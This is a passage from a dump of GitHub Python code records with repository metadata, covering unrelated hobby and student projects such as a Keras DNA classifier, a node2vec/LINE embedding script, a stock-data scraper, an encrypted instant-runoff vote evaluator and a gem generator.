Button(window, text= \"CLEAR\", font=(\"Times New Roman\", 12), bd= 7, relief=\"groove\", fg=\"black\", bg=\"gold\", command= Clearing_Entries)\r\nClear_Button.place(x=1130, y=620)\r\n\r\ndef Previous_Page():\r\n window.withdraw()\r\n subprocess.Popen([\"python\", \"Emp1.py\"])\r\n\r\n#button to return to previous page\r\nExit_Button = Button(window, text= \"EXIT\", font=(\"Times New Roman\", 12), bd= 7, relief=\"groove\", fg=\"black\", bg=\"grey\", command= Previous_Page)\r\nExit_Button.place(x=1230, y=620)\r\n\r\n\r\n\r\nwindow.mainloop()\r\n","repo_name":"nanaama100/Python-Tkinter","sub_path":"Emp3.py","file_name":"Emp3.py","file_ext":"py","file_size_in_byte":3769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"16577718850","text":"import csv\nimport numpy as np\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout\n\n\n\ncsvFile = open('train.csv', 'r')\nreader = csv.reader(csvFile)\ndataset = []\nfor i in reader:\n dataset.append(i)\n\ntrain_in = np.array(dataset)[1:, 1]\ntrain_out = np.array(dataset)[1:, 2]\n\ny_train = np.array(train_out, dtype='int')\n\nx_train = np.zeros((2000, 14))\n\nfor k in range(0, 2000):\n seq = train_in[k]\n\n for i in range(0, 14):\n if seq[i] == 'A':\n x_train[k][i] = 0\n if seq[i] == 'C':\n x_train[k][i] = 1\n if seq[i] == 'G':\n x_train[k][i] = 2\n if seq[i] == 'T':\n x_train[k][i] = 3\n\nx_train = np.array(x_train, dtype='int')\n\n\n\n# y_train = np.zeros((2000, 1))\n# for k in range(0, 2000):\n# res = train_out[k]\n# if res == '0':\n# y_train[k][0] = 1\n# else:\n# y_train[k][1] = 1\n\n\ncsvFile = open('test.csv', 'r')\nreader = csv.reader(csvFile)\ndataset = []\nfor i in reader:\n dataset.append(i)\n\ntest_in = np.array(dataset)[1:, 1]\nx_test = np.zeros((400, 14))\n\nfor k in range(0, 400):\n seq = train_in[k]\n for i in range(0, 14):\n if seq[i] == 'A':\n x_test[k][i] = 0\n if seq[i] == 'C':\n x_test[k][i] = 1\n if seq[i] == 'G':\n x_test[k][i] = 2\n if seq[i] == 'T':\n x_test[k][i] = 3\n\nx_test = np.array(x_test, dtype='int')\n\nmodel = Sequential()\nmodel.add(Dense(64, input_dim=14, activation='relu'))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(64, activation='relu'))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(1, activation='sigmoid'))\n\nmodel.compile(loss='binary_crossentropy',\n optimizer='rmsprop',\n metrics=['accuracy'])\n\n\n\ny_train = y_train.reshape((2000, 1))\n\n\nmodel.fit(x_train, y_train,\n epochs=222,\n batch_size=32)\ny_test = model.predict_classes(x_test)\nprint(y_test)\n\n\nres = np.zeros((400, 2))\n\nfor i in range(0, 400):\n res[i][0] = i\n res[i][1] = y_test[i]\n\nres = np.array(res, dtype='int')\n\nwith open(\"output2.csv\", \"w\") as f:\n writer = csv.writer(f)\n writer.writerows(res)","repo_name":"ygbzl/Assing3","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"17646302447","text":"# 14494번 다이나믹이 뭐에요?\n\nn, m = map(int,input().split())\n\nd = [ [0] * (m + 1) for _ in range(n + 1) ]\nd[1][1] = 1 # 시작 \n\nfor x in range(1, n + 1):\n for y in range(1, m + 1):\n if x == 1 and y == 1 :\n continue\n \n # 좌표값 = 옆 + 아래 + 오른쪽 아래 \n d[x][y] = d[x - 1][y] + d[x][y - 1] + d[x - 1][y - 1]\n\nprint( d[n][m] % 1000000007 )\n","repo_name":"Techeer-3rd-gen-study/Algorithm-study","sub_path":"10주차_12.07_12.13/1_14494/홍다연_14494.py","file_name":"홍다연_14494.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"ko","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"} +{"seq_id":"72616125373","text":"'''\nReference implementation of node2vec. \n\nAuthor: Aditya Grover\n\nFor more details, refer to the paper:\nnode2vec: Scalable Feature Learning for Networks\nAditya Grover and Jure Leskovec \nKnowledge Discovery and Data Mining (KDD), 2016\n'''\n\nimport argparse\nimport numpy as np\nimport networkx as nx\nimport src.node2vec as node2vec\nfrom gensim.models import Word2Vec\nimport graph.graph1 as gh\nimport emb.line1 as line1\nimport emb.classify as clfy\nfrom sklearn.linear_model import LogisticRegression\n\ndef parse_args():\n\t'''\n\tParses the node2vec arguments.\n\t'''\n\tparser = argparse.ArgumentParser(description=\"Run node2vec.\")\n\n\tparser.add_argument('--input', nargs='?', default='E:\\\\node2vec\\\\node2vec\\\\graph\\\\blogCatalog\\\\bc_edgelist.txt',\n\t\t\t\t\t\thelp='Input graph path')\n\n\tparser.add_argument('--output', nargs='?', default='E:\\\\node2vec\\\\node2vec\\\\emb\\\\blogCatalog.emb',\n\t\t\t\t\t\thelp='Embeddings path')\n\n\tparser.add_argument('--dimensions', type=int, default=128,\n\t\t\t\t\t\thelp='Number of dimensions. Default is 128.')\n\n\tparser.add_argument('--walk-length', type=int, default=80,\n\t\t\t\t\t\thelp='Length of walk per source. Default is 80.')\n\n\tparser.add_argument('--num-walks', type=int, default=10,\n\t\t\t\t\t\thelp='Number of walks per source. Default is 10.')\n\n\tparser.add_argument('--window-size', type=int, default=10,\n\t\t\t\t\t\thelp='Context size for optimization. Default is 10.')\n\n\tparser.add_argument('--iter', default=1, type=int,\n\t\t\t\t\t help='Number of epochs in SGD')\n\n\tparser.add_argument('--workers', type=int, default=8,\n\t\t\t\t\t\thelp='Number of parallel workers. Default is 8.')\n\n\tparser.add_argument('--p', type=float, default=1,\n\t\t\t\t\t\thelp='Return hyperparameter. Default is 1.')\n\n\tparser.add_argument('--q', type=float, default=1,\n\t\t\t\t\t\thelp='Inout hyperparameter. Default is 1.')\n\n\tparser.add_argument('--epochs',type=int,default=5,\n\t\t\t\t\t\thelp='The training epochs of LINE and GCN')\n\n\tparser.add_argument('--weighted', dest='weighted', action='store_true',\n\t\t\t\t\t\thelp='Boolean specifying (un)weighted. Default is unweighted.')\n\tparser.add_argument('--unweighted', dest='unweighted', action='store_false')\n\tparser.set_defaults(weighted=False)\n\n\tparser.add_argument('--directed', dest='directed', action='store_true',\n\t\t\t\t\t\thelp='Graph is (un)directed. Default is undirected.')\n\tparser.add_argument('--undirected', dest='undirected', action='store_false')\n\tparser.set_defaults(directed=False)\n\n\tparser.add_argument('--label-file', dest='label',nargs='?',default='E:\\\\node2vec\\\\node2vec\\\\graph\\\\blogCatalog\\\\bc_labels.txt',\n\t\t\t\t\t\thelp='The file of node label')\n\n\tparser.add_argument('--feature-file',nargs='?', default=False,\n\t\t\t\t\t\thelp='The file of node features')\n\n\tparser.add_argument('--graph-format', default='adjlist', choices=['adjlist', 'edgelist'],\n\t\t\t\t\t\thelp='Input graph format')\n\n\tparser.add_argument('--negative-ratio', default=5, type=int,\n\t\t\t\t\t\thelp='the negative ratio of LINE')\n\n\t# parser.add_argument('--weighted', action='store_true',\n\t# \t\t\t\t\thelp='Treat graph as weighted')\n\n\tparser.add_argument('--clf-ratio', default=0.5, type=float,\n\t\t\t\t\t\thelp='The ratio of training data in the classification')\n\n\tparser.add_argument('--order', default=3, type=int,\n\t\t\t\t\t\thelp='Choose the order of LINE, 1 means first order, 2 means second order, 3 means first order + second order')\n\n\tparser.add_argument('--no-auto-save', action='store_true',\n\t\t\t\t\t\thelp='no save the best embeddings when training LINE')\n\n\tparser.add_argument('--dropout', default=0.5, type=float,\n\t\t\t\t\t\thelp='Dropout rate (1 - keep probability)')\n\n\tparser.add_argument('--weight-decay', type=float, default=5e-4,\n\t\t\t\t\t\thelp='Weight for L2 loss on embedding matrix')\n\n\tparser.add_argument('--hidden', default=16, type=int,\n\t\t\t\t\t\thelp='Number of units in hidden layer 1')\n\n\tparser.add_argument('--kstep', default=4, type=int,\n\t\t\t\t\t\thelp='Use k-step transition probability matrix')\n\n\tparser.add_argument('--lamb', default=0.2, type=float,\n\t\t\t\t\t\thelp='lambda is a hyperparameter in TADW')\n\n\tparser.add_argument('--lr', default=0.01, type=float,\n\t\t\t\t\t\thelp='learning rate')\n\n\tparser.add_argument('--alpha', default=1e-6, type=float,\n\t\t\t\t\t\thelp='alhpa is a hyperparameter in SDNE')\n\n\tparser.add_argument('--beta', default=5., type=float,\n\t\t\t\t\t\thelp='beta is a hyperparameter in SDNE')\n\n\tparser.add_argument('--nu1', default=1e-5, type=float,\n\t\t\t\t\t\thelp='nu1 is a hyperparameter in SDNE')\n\n\tparser.add_argument('--nu2', default=1e-4, type=float,\n\t\t\t\t\t\thelp='nu2 is a hyperparameter in SDNE')\n\n\tparser.add_argument('--bs', default=200, type=int,\n\t\t\t\t\t\thelp='batch size of SDNE')\n\n\tparser.add_argument('--encoder-list', default='[1000, 128]', type=str,\n\t\t\t\t\t\thelp='a list of numbers of the neuron at each encoder layer, the last number is the ''dimension of the output node representation')\n\n\treturn parser.parse_args()\n\n\ndef read_node_label(filename):\n fin = open(filename, 'r')\n X = []\n Y = []\n while 1:\n l = fin.readline()\n if l == '':\n break\n vec = l.strip().split(' ')\n X.append(vec[0])\n Y.append(vec[1:])\n fin.close()\n return X, Y\n\n\n\ndef read_graph():\n\t'''\n\tReads the input network in networkx....\n\t'''\n\tif args.weighted:\n\t\tG = nx.read_edgelist(args.input, nodetype=int, data=(('weight',float),), create_using=nx.DiGraph())\n\telse:\n\t\tG = nx.read_edgelist(args.input, nodetype=int, create_using=nx.DiGraph())\n\t\tfor edge in G.edges():\n\t\t\tG[edge[0]][edge[1]]['weight'] = 1\n\n\tif not args.directed:\n\t\tG = G.to_undirected()\n\n\n\tif args.label:\n\t\tmodel = line1.LINE(G, epoch=args.epochs, rep_size=args.dimensions, order=args.order,\n\t\t\t\t\t label_file=args.label, clf_ratio=args.clf_ratio)\n\telse:\n\t\tmodel = line1.LINE(G, epoch=args.epochs,\n\t\t\t\t\t rep_size=args.dimensions, order=args.order)\n\n\tprint(\"Saving embeddings...\")\n\tmodel.save_embeddings(args.output)\n\n\tvectors = model.vectors\n\tX, Y = read_node_label(args.label) #dest给变量起名字\n\tprint(\"Training classifier using {:.2f}% nodes...\".format(args.clf_ratio * 100))\n\tclf = clfy.Classifier(vectors=vectors, clf=LogisticRegression())\n\tclf.split_train_evaluate(X, Y, args.clf_ratio)\n\n\treturn G\n\ndef learn_embeddings(walks):\n\t'''\n\tLearn embeddings by optimizing the Skipgram objective using SGD.\n\t'''\n\twalks = [list(map(str, walk)) for walk in walks]\n\n\tmodel = Word2Vec(walks, size=args.dimensions, window=args.window_size, min_count=0, sg=1, workers=args.workers, iter=args.iter)\n\tmodel.wv.save_word2vec_format(args.output)\n\n\n\n\t\n\treturn\n\ndef main(args):\n\t'''\n\tPipeline for representational learning for all nodes in a graph.\n\t'''\n\t# nx_G = read_graph() #node2vec使用\n\n\n\t#使用LINE\n\tnx_G=read_graph()\n\n\n# nx_G = read_graph() #node2vec使用\n#使用node2vec\n\t# G = node2vec.Graph(nx_G, args.directed, args.p, args.q)\n\t# G.preprocess_transition_probs()\n\t# walks = G.simulate_walks(args.num_walks, args.walk_length)\n\t# learn_embeddings(walks)\n\n\nif __name__ == \"__main__\":\n\targs = parse_args()\n\tmain(args)\n","repo_name":"Huangtianlong1/node2vec","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"10556581334","text":"\n\nimport math\n\ndef tarif_ttc(tarif_ht, pourcentage_taxes, quantité_stock):\n\n print(\"TVA à l'arrondie sup.\", pourcentage_taxes)\n calcul_ttc = tarif_ht / 100 * pourcentage_taxes + tarif_ht * quantité_stock\n return round(calcul_ttc)\n\n\ndef main():\n saisie_nom = input(\"Nom du produit : \")\n nom_produit = (saisie_nom)\n\n saisie_tarif_ht = input(\"Tarif HT du produit : \")\n tarif_ht = float(saisie_tarif_ht)\n\n saisie_pourcentage_taxes = input(\"Le pourcentage de taxes à appliquer : \")\n pourcentage_taxes = math.ceil(float(saisie_pourcentage_taxes))\n\n saisie_quantité_stock = input(\"La quantité de stock disponible : \")\n quantité_stock = int(saisie_quantité_stock)\n\n prix_ttc = tarif_ttc(tarif_ht, pourcentage_taxes, quantité_stock)\n\n if prix_ttc > 1000:\n prix_ttc = prix_ttc * 0.88\n remise_accordée = math.ceil(prix_ttc - (prix_ttc * 0.88))\n print(\"Le total TTC du stock\", nom_produit, \"est de\", prix_ttc, \"€ (taxes de\", pourcentage_taxes, \"% - remise de\", remise_accordée, \"€)\")\n if prix_ttc < 1000:\n print(\"Le prix TTC du produit\", nom_produit, \"est de\", prix_ttc, \"€ (TVA de\", pourcentage_taxes, \"%)\")\nif __name__ == \"__main__\":\n main()","repo_name":"juliencampus/python","sub_path":"Louis/Socle/Etape 1/Etape_1_TVA/Etape1_Acti1.py","file_name":"Etape1_Acti1.py","file_ext":"py","file_size_in_byte":1221,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"16779140447","text":"from machine import Pin, I2S\nimport math\nimport struct\n\n\n\ni2s = I2S(0,\n sck=Pin(7),\n ws=Pin(5),\n sd=Pin(6),\n mode=I2S.TX,\n bits=16,\n format=I2S.MONO,\n rate=22050,\n ibuf=40000) # create I2S object\n\n\nTONE_FREQUENCY_IN_HZ = 440\nSAMPLE_SIZE_IN_BITS = 16\nSAMPLE_RATE_IN_HZ = 22_050\n\n\n\ndef make_tone(rate, bits, frequency):\n # create a buffer containing the pure tone samples\n samples_per_cycle = rate // frequency\n sample_size_in_bytes = bits // 8\n samples = bytearray(samples_per_cycle * sample_size_in_bytes)\n volume_reduction_factor = 8 # volume!\n range = pow(2, bits) // 2 // volume_reduction_factor\n\n if bits == 16:\n format = \"= value:\n self.rarity = key\n\n def identify_type(self):\n \"\"\"Randomly selects a gem from the rarity list matching generated rarity value.\"\"\"\n if self.rarity == 'Common':\n chosen_gem = random.choice(self.common_gems)\n return chosen_gem\n elif self.rarity == 'Uncommon':\n chosen_gem = random.choice(self.uncommon_gems)\n return chosen_gem\n elif self.rarity == 'Rare':\n chosen_gem = random.choice(self.rare_gems)\n return chosen_gem\n else:\n chosen_gem = random.choice(self.very_rare_gems)\n return chosen_gem\n\n def identify_quality(self):\n \"\"\"Chooses the quality of the gem based on rarity and tier of play.\"\"\"\n quality_chance = random.randint(0, 100)\n for key, value in gem_details[tier_of_play][self.rarity].items():\n if quality_chance <= value:\n quality = key\n return quality\n\n def display_gem_details(self, gem_type, gem_quality):\n \"\"\"\n Displays the details of the gem(s) identified\n Information provided in text string.\n \"\"\"\n gem_description = gem_type['Description']\n gem_name = gem_type['Gem']\n gem_value = gem_type[gem_quality]\n self.gem_text += f\"Gem Name: {gem_name}\\nGem Description: {gem_description}\" \\\n f\"\\nGem Value: {gem_value}\\n\\n\"\n\n def main_code(self):\n \"\"\"The code that brings the various Methods together when the command is received\"\"\"\n self.gems.clear()\n self.get_number_of_gems()\n self.gem_text = \"\"\n for gem in range(0, self.num_gems):\n self.identify_rarity()\n gem_type = self.identify_type()\n self.gems.append(gem)\n gem_quality = self.identify_quality()\n self.display_gem_details(gem_type=gem_type, gem_quality=gem_quality)\n with open(\"Gem List\", 'w') as file:\n file.write(f\"{self.gem_text}\")\n print(self.gem_text)\n # self.open_popup()\n tkinter.messagebox.showinfo(title=\"Gem Information\", message=self.gem_text)\n\n\nGemGenerator()\n","repo_name":"Dean-Baylem/Gem_Generator","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"73756461342","text":"import random\nimport os \nLEFT = 1\nNUM_TEST = 2\nTEST_NAME = \"in/input\"\nif not os.path.isdir('in'):\n\tos.mkdir('in')\nfor loop_ in range(LEFT,NUM_TEST+1):\n\tfile = open(TEST_NAME + str(loop_) + \".txt\", \"w\")\n\t#file_sample = open(TEST_NAME + \".inp\", \"w\")\n\n\ttest = 200 # random.randint(1,1000)\n\tfile.write(str(test) + '\\n')\n\t#file_sample.write(str(test) + '\\n')\n\tfor _ in range(test):\n\t\tn = random.randint(1, 1000)\n\t\tm = random.randint(1, 200)\n\t\tfile.write(str(n) + ' ' + str(m) + '\\n')\n\t\t#file_sample.write(str(n) + ' ' + str(m) + '\\n')\n","repo_name":"binh120702/CS112.M11.KHTN","sub_path":"test_gen/bai 1/test_gen1.py","file_name":"test_gen1.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"5716348671","text":"import requests\nimport pandas as pd\nimport time\nimport re\nimport json\nimport os\nimport random\n\npd.set_option(\"display.max_row\",None)\npd.set_option(\"display.max_columns\",None)\npd.set_option(\"expand_frame_repr\",False)\n\ndef requestsurl(url,max_num=5,sleep_time=5):\n headers={\"user-agent\":r\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.42\",\n \"referer\":r\"https://vip.stock.finance.sina.com.cn/mkt/\"}\n for i in range(max_num):\n response=requests.get(url,headers=headers,timeout=sleep_time)\n if response.status_code==200:\n return response\n else:\n print(\"爬取失败\",response)\n time.sleep(sleep_time)\ndef getDate():\n url = 'https://hq.sinajs.cn/list=sh000001'\n response = requestsurl(url).text\n data_date = str(response.split(',')[-4])\n # 获取上证的指数日期\n return data_date\n\ndef getStockdata():\n all_data=pd.DataFrame()\n page=1\n while True:\n url=r\"https://vip.stock.finance.sina.com.cn/quotes_service/api/json_v2.php/Market_Center.getHQNodeData?page={}&num=80&sort=symbol&asc=1&node=hs_a&symbol=&_s_r_a=sort\".format(page)\n content=requestsurl(url).text\n if content==\"[]\":\n print(\"爬取完成\")\n break\n print(\"正在爬取第{}页\".format(page))\n content=json.loads(content)\n df=pd.DataFrame(content,dtype=float)\n all_data=all_data.append(df,ignore_index=True)\n page+=1\n time.sleep(random.uniform(0,3))\n rename_dict={\n 'symbol': '股票代码', 'code': '交易日期', 'name': '股票名称', 'open': '开盘价',\n 'settlement': '前收盘价', 'trade': '收盘价', 'high': '最高价', 'low': '最低价',\n 'buy': '买一', 'sell': '卖一', 'volume': '成交量', 'amount': '成交额',\n 'changepercent': '涨跌幅', 'pricechange': '涨跌额',\n 'mktcap': '总市值', 'nmc': '流通市值', 'ticktime': '数据更新时间', 'per': 'per', 'pb': '市净率',\n 'turnoverratio': '换手率'\n }\n all_data.rename(columns=rename_dict,inplace=True)\n all_data[\"交易日期\"]=pd.to_datetime(getDate())\n all_data[\"总市值\"]*=10000\n all_data[\"流通市值\"]*=10000\n all_data=all_data[['股票代码', '股票名称', '交易日期', '开盘价', '最高价', '最低价', '收盘价', '前收盘价', '成交量', '成交额', '流通市值', '总市值']]\n return all_data\n\nall_data=getStockdata()\nall_data=all_data[all_data[\"开盘价\"]-0>0.00001]\nall_data.reset_index(drop=True,inplace=True)\n\ndir=r\"F:\\stock_data\\data\\stock\"\nif not os.path.exists(dir):\n os.mkdir(dir)\n\nfor i in all_data.index:\n d=all_data.loc[i:i]\n name=d[\"股票代码\"][i]\n path=os.path.join(dir,name+\".csv\")\n if os.path.exists(path):\n d.to_csv(path,mode=\"a\",encoding=\"gbk\",header=False,index=False)\n else:\n pd.DataFrame(columns=[\"此数据由微博quantoken整理,微信:quant689\"]).to_csv(path,mode=\"w\",encoding=\"gbk\",header=True,index=False)\n d.to_csv(path,encoding=\"gbk\",mode=\"a\",header=True, index=False)\n print(name)\n","repo_name":"wantairanwtr/stock_data","sub_path":"all_stock_hs.py","file_name":"all_stock_hs.py","file_ext":"py","file_size_in_byte":3174,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"31737751716","text":"from src.util.old_files.evaluator import Evaluator\nimport numpy as np\nimport logging\n\nlog = logging.getLogger(__name__)\n\n\nclass InstantRunoffEvaluator(Evaluator):\n \"\"\"\n This evaluator contains functions needed for evaluation of an IRV-election\n \"\"\"\n\n def evaluate(self):\n \"\"\"return the candidate with the lowest number of votes by evaluation of the first row of the ballot\"\"\"\n sum_votes = []\n votes = self.get_votes()\n num_act_cand = np.size(votes[0][0])\n for cand in range(num_act_cand):\n #compute encrypted votes per candidate\n sum = self.encrypt_unified(0)\n for vote in votes:\n sum = self.add(sum, vote[0,cand])\n #\"reverse\" the number of votes to determine the loser instead of the winner\n sum_votes.append(self.sub(self.encrypt_unified(len(self.votes)), sum))\n evaluator = self.eval_winner(num_act_cand)\n evaluator.init_votes()\n evaluator.addVote(sum_votes)\n #call the OutputWinnerEvaluator\n return evaluator.evaluate()\n\n def set_winner_eval(self, eval_winner):\n #set the OutputWinnerEvaluator\n self.eval_winner_func = eval_winner\n\n def eval_winner(self, cand):\n return self.eval_winner_func(cand)\n\n def compute_ranking_vector(self):\n \"\"\"calculate the ranking vector from the matrix for each voter as described in the elaboration\"\"\"\n rankings = []\n for vote in self.votes:\n ranking = []\n #multiply all matrix-entries by the increased index of the row ( = the belonging placement)\n mult_matrix = np.matrix([[self.mult(vote[i,j],i+1) for j in range(self.num_candidates)] for i in range(self.num_candidates)])\n\n #sum up the entries of the multiplied matrix in each column\n for col in range(self.num_candidates):\n sum = self.encrypt_unified(0)\n for row in range(self.num_candidates):\n sum = self.add(sum, mult_matrix[row,col])\n ranking.append(sum)\n rankings.append(ranking)\n return rankings\n\n def compute_order_vector(self):\n \"\"\"calculate the order vector from the matrix for each voter as described in the elaboration\"\"\"\n orders = []\n for vote in self.votes:\n order = []\n #multiply all matrix-entries by the increased index of the column ( = the belonging candidate-id)\n mult_matrix = np.matrix([[self.mult(vote[i,j], j+1) for j in range(self.num_candidates)] for i in range(self.num_candidates)])\n\n #sum up the entries of the multiplied matrix in each row\n for row in range(self.num_candidates):\n sum = self.encrypt_unified(0)\n for col in range(self.num_candidates):\n sum = self.add(sum, mult_matrix[row,col])\n order.append(sum)\n orders.append(order)\n return orders\n\n def mult_matrix(self, first, second, num_rows):\n \"\"\"multiply the entries of two matrices and return the result\"\"\"\n result = np.matrix([[None for i in range(len(first))] for j in range(len(first[0]))])\n for row in range(num_rows):\n for col in range(len(first[0])):\n result[row,col] = self.enc_mult(first[row,col],second[row,col])\n return result\n\n def exec_move_up(self, num_act_cand=None):\n \"\"\"for each voter: move matrix-entries upwards to shift the \"zero-row\" at the very bottom\"\"\"\n votes = self.get_votes()\n num_col = np.size(votes[0][0])\n if num_act_cand is None:\n num_act_cand = num_col\n\n for vote in votes:\n for row in range(num_act_cand):\n #compute inverted sum of the row (sum_inv) that is an Enc(1) in case of the \"zero-row\"\n sum_row = self.encrypt_unified(0)\n for col in range(num_col):\n sum_row = self.add(sum_row, vote[row, col])\n sum_inv = self.sub(self.encrypt_unified(1), sum_row)\n for col in range(num_col):\n #an entry moves upwards if it is an encrypted one and the zero-row is above\n product = self.enc_mult(sum_inv, vote[row + 1, col])\n vote[row, col] = self.add(vote[row, col], product)\n vote[row + 1, col] = self.sub(vote[row + 1, col], product)\n return votes\n\n def compute_counter(self, vote):\n \"\"\"return encrypted pointer to the first row with sum of row != 0\"\"\"\n\n num_act_cand = np.size(vote[0])\n num_rows = self.num_candidates - num_act_cand\n\n #b is an encrypted bit, it saves the information whether the first row != 0 is already found\n b = self.encrypt_unified(0)\n counter = self.encrypt_unified(0)\n\n for row in range(num_rows):\n #compute inverted sum of the row\n sum = self.encrypt_unified(0)\n for cand in range(num_act_cand):\n sum = self.add(sum, vote[row, cand])\n inv_sum = self.sub(self.encrypt_unified(1), sum)\n\n if row == 0:\n #Henceforth: b = Enc(1) iff first row !=0 was not passed\n b = inv_sum\n counter = inv_sum\n else:\n #increase counter iff actual row = 0 and the first row != 0 was not passed at this time\n b = self.enc_mult(inv_sum, b)\n counter = self.add(counter, b)\n\n #increase counter to adapt counter to ranking (starts with one)\n counter = self.add(counter,self.encrypt_unified(1))\n return counter\n\n def compute_vote(self, ranking, counter):\n \"\"\" compute a new first preference from ranking and counter\"\"\"\n vote = []\n for rank in ranking:\n vote.append(self.abb.eq(rank, counter))\n return vote\n\n def evaluate_sum(self, sum_votes, num_act_cand):\n \"\"\" initialize and call the OutputWinnerEvaluator, return the result\"\"\"\n evaluator = self.eval_winner(num_act_cand)\n evaluator.init_votes()\n evaluator.addVote(sum_votes)\n return evaluator.evaluate()\n\n def evaluate_vector(self, votes):\n \"\"\"return the candidate with the lowest number of votes for given ballots as vectors\"\"\"\n sum_votes = []\n num_act_cand = len(votes[0])\n\n for cand in range(num_act_cand):\n sum = self.encrypt_unified(0)\n for vote in votes:\n sum = self.add(sum, vote[cand])\n # \"reverse\" the number of votes to determine the loser instead of the winner\n sum_votes.append(self.sub(self.encrypt_unified(len(self.votes) + 1), sum))\n return self.evaluate_sum(sum_votes, num_act_cand)\n\n def evaluate_vector_secret(self, votes, eliminated):\n \"\"\"\n firstly add votes for eliminated candidates so they do not lose again\n and then compute the candidate with the lowest number of votes. Afterwards reset votes to initial state.\n Use this method for secret elimination where votes for eliminated candidates cannot be discarded\n :param eliminated: vector that includes sufficiently\n many votes for eliminated candidates to avoid further eliminations\n \"\"\"\n for cand in range(self.num_candidates):\n votes[0][cand] = self.add(votes[0][cand], eliminated[cand])\n\n res = self.evaluate_vector(votes)\n\n for cand in range(self.num_candidates):\n votes[0][cand] = self.sub(votes[0][cand], eliminated[cand])\n\n return res\n\n def compute_elimination_vector(self, order, loser):\n \"\"\"compute elimination-vector from order-vector and the eliminated candidate.\n See written elaboration for further details \"\"\"\n elimination_vector = []\n for cand in order:\n elimination_vector.append(self.abb.eq(cand, loser))\n return elimination_vector\n\n def compute_counter_secret(self, elimination, num_eliminations):\n \"\"\"\n compute the counter (used for version with secret elimination)\n :param elimination: summed elimination vectors from different iterations (see elaboration)\n :param num_eliminations: number of candidates that are eliminated so far\n :return: the counter analogous to counter in public version (see \"compute_counter\")\n \"\"\"\n\n counter = self.encrypt_unified(1)\n entry_found_inverted = self.encrypt_unified(1)\n #encrypted_two = self.encrypt_unified(2)\n for entry in range(num_eliminations):\n #increase counter iff only passed eliminated candidates and actual candidate was also already eliminated\n entry_found_inverted = self.enc_mult(entry_found_inverted, elimination[entry])\n counter = self.add(counter, entry_found_inverted)\n return counter\n\n def compute_new_tuples(self, new_elim):\n \"\"\"\n compute updated tuples after each elimination, used in secret alternative version\n :param new_elim: vector with entries Enc(0) and one entry Enc(1) for the eliminated candidate\n \"\"\"\n old_votes = self.votes\n new_votes = dict()\n\n for tuple in old_votes.keys():\n #get the equivalent tuples where one of the candidates is removed (all eligible updated tuples)\n for index in range(len(tuple)):\n cand = tuple[index]\n new_tuple = tuple[:index] + tuple[index+1:]\n if new_tuple not in new_votes:\n new_votes[new_tuple] = self.encrypt_unified(0)\n #if the removed candidate was just eliminated, then the votes of the original tuple are added\n #otherwise no votes are added (product = 0)\n product = self.enc_mult(old_votes[tuple], new_elim[cand - 1])\n new_votes[new_tuple] = self.add(new_votes[new_tuple], product)\n return new_votes\n\n def decrypt_matrix_for_debug(self, matrix):\n \"\"\"returns decrypted matrix if logging level is DEBUG, else []\"\"\"\n if log.getEffectiveLevel() > logging.DEBUG:\n return []\n\n return [[self.abb.dec(matrix[i, j]) for j in range(len(matrix[i]))] for i in range(len(matrix))]","repo_name":"JulianLiedtke/ordinos","sub_path":"src/election/evaluation/instant_runoff_evaluator.py","file_name":"instant_runoff_evaluator.py","file_ext":"py","file_size_in_byte":10240,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"8456517164","text":"import matplotlib.pyplot as plt\n\nclass people:\n def __init__(self, Age, ageGroup, height, status, yearsMarried):\n self.Age = Age\n self.ageGroup = ageGroup\n self.height = height\n self.status = status\n self.yearsMarried = yearsMarried\n\n def checkAge(self):\n if (self.Age >= 1 and self.Age <= 150):\n return True\n return False\n\n def checkYearMarried(self):\n if self.Age > self.yearsMarried:\n return True\n return False\n\n def checkStatus(self):\n temp = [\"single\", \"married\", \"widowed\"]\n if self.status.lower() in temp:\n return True\n return False\n\n def checkHeight(self):\n if self.height <= 0:\n return False\n return True\n\n def checkAgeGroup(self):\n if self.Age < 18 and self.ageGroup.lower() == \"child\":\n return True\n elif self.Age >= 18 and self.Age <= 65 and self.ageGroup.lower() == \"adult\":\n return True\n elif self.Age > 65 and self.ageGroup.lower() == \"elderly\":\n return True\n else:\n return False\n\n def check(self):\n if self.checkAge() and self.checkStatus() and self.checkAgeGroup() and self.checkYearMarried() and self.checkHeight():\n return True\n return False\n\n\nfile = open('people.txt', \"r\")\nfileLine = []\npeopleList = []\nfor line in file:\n fileLine.append(line)\n\nfile.close()\n\nfor x in range(1, len(fileLine)):\n temp = fileLine[x].split()\n peopleList.append(\n people(int(temp[0]), temp[1], float(temp[2]), temp[3], int(temp[4])))\n\nvalidData = 0 \n\nfor x in peopleList:\n if x.check() == True:\n validData = validData+1\n\n\nprint(\"No. of Valid Data Set : \" , validData)\nprint(\"No. of Invalid Data Set : \" , len(peopleList) - validData)\nOptions = ['Valid Data' , 'Invalid Data']\nValue = [validData ,len(peopleList) - validData]\n\nplt.bar(Options, Value, color ='maroon',\n width = 0.4)\nplt.ylabel('No. of 